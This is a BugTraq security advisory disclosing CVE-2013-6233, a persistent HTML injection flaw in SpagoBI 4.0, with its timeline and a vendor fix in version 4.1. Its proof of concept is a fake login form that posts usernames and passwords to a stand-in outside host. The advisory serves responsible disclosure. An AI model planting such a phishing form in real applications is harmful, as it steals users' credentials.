BugTraq
[CVE-2013-6233] Persistent HTML Script Insertion permits offsite-bound forms in SpagoBI v4.0 Mar 01 2014 07:27PM
Christian Catalano (ch catalano gmail com)
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01. ### Advisory Information ###

Title: Persistent HTML Script Insertion permits offsite-bound forms
Date published: 2014-03-01
Date of last update: 2014-03-01
Vendors contacted: Engineering Group
Discovered by: Christian Catalano
Severity: Medium

02. ### Vulnerability Information ###

CVE reference: CVE-2013-6233
CVSS v2 Base Score: 4
CVSS v2 Vector: (AV:N/AC:L/Au:S/C:N/I:P/A:N)
Component/s: SpagoBI
Class: Input Manipulation

03. ### Introduction ###

SpagoBI[1] is an Open Source Business Intelligence suite, belonging to
the free/open source SpagoWorld initiative, founded and supported by
Engineering Group[2].
It offers a large range of analytical functions, a highly functional
semantic layer often absent in other open source platforms and projects,
and a respectable set of advanced data visualization features including
geospatial analytics.
[3]SpagoBI is released under the Mozilla Public License, allowing its
commercial use. SpagoBI is hosted on OW2 Forge[4] managed by OW2
Consortium, an independent open-source software community.

[1] - http://www.spagobi.org
[2] - http://www.eng.it
[3] -
http://www.spagoworld.org/xwiki/bin/view/SpagoBI/PressRoom?id=SpagoBI-Fo
rresterWave-July2012
[4] - http://forge.ow2.org/projects/spagobi

04. ### Vulnerability Description ###

SpagoBI contains a flaw that allows persistent script insertion.
This may allow a remote attacker to inject HTML code including forms
that load on a remote site, which can allow the attacker to conduct a
phishing attack on a user and capture their credentials.

05. ### Technical Description / Proof of Concept Code ###

The vulnerability is located in some SpagoBI input fields
(e.g.'Description' input field from 'Short document metadata')

To reproduce the vulnerability, the attacker (a malicious user) can add
the malicious HTML script code:

<form method="POST" action="http://www.mocksite.org/login/login.php.">
Username: <input type="text" name="username" size="15" /><br />
Password: <input type="password" name="passwort" size="15" /><br />
<div align="center">
<p><input type="submit" value="Login" /></p>
</div>
</form>

in 'Description' input field from 'Short document metadata' and click on
save button.
The code execution happens when the victim (an unaware user) click on
'Short document metadata'.

This is not the only way to inject malicious HTML code in the SpagoBI
web app.

06. ### Business Impact ###

Exploitation of the vulnerability requires low privileged application
user account but low or medium user interaction. Successful
exploitation of the vulnerability results in persistent phishing and
persistent external redirects.

07. ### Systems Affected ###

This vulnerability was tested against: SpagoBI 4.0
Older versions are probably affected too, but they were not checked.

08. ### Vendor Information, Solutions and Workarounds ###

This issue is fixed in SpagoBI v4.1, which can be downloaded from:
http://forge.ow2.org/project/showfiles.php?group_id=204

Fixed by vendor [verified]

09. ### Credits ###

This vulnerability has been discovered by:
Christian Catalano aka wastasy ch(dot)catalano(at)gmail(dot)com

10. ### Vulnerability History ###

October 08th, 2013: Vulnerability identification
October 22th, 2013: Vendor notification to [SpagoBI Team]
November 05th, 2013: Vendor Response/Feedback from [SpagoBI Team]
December 16th, 2013: Vendor Fix/Patch [SpagoBI Team]
January 16th, 2014: Fix/Patch Verified
March 01st, 2014: Vulnerability disclosure

11. ### Disclaimer ###

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this information.

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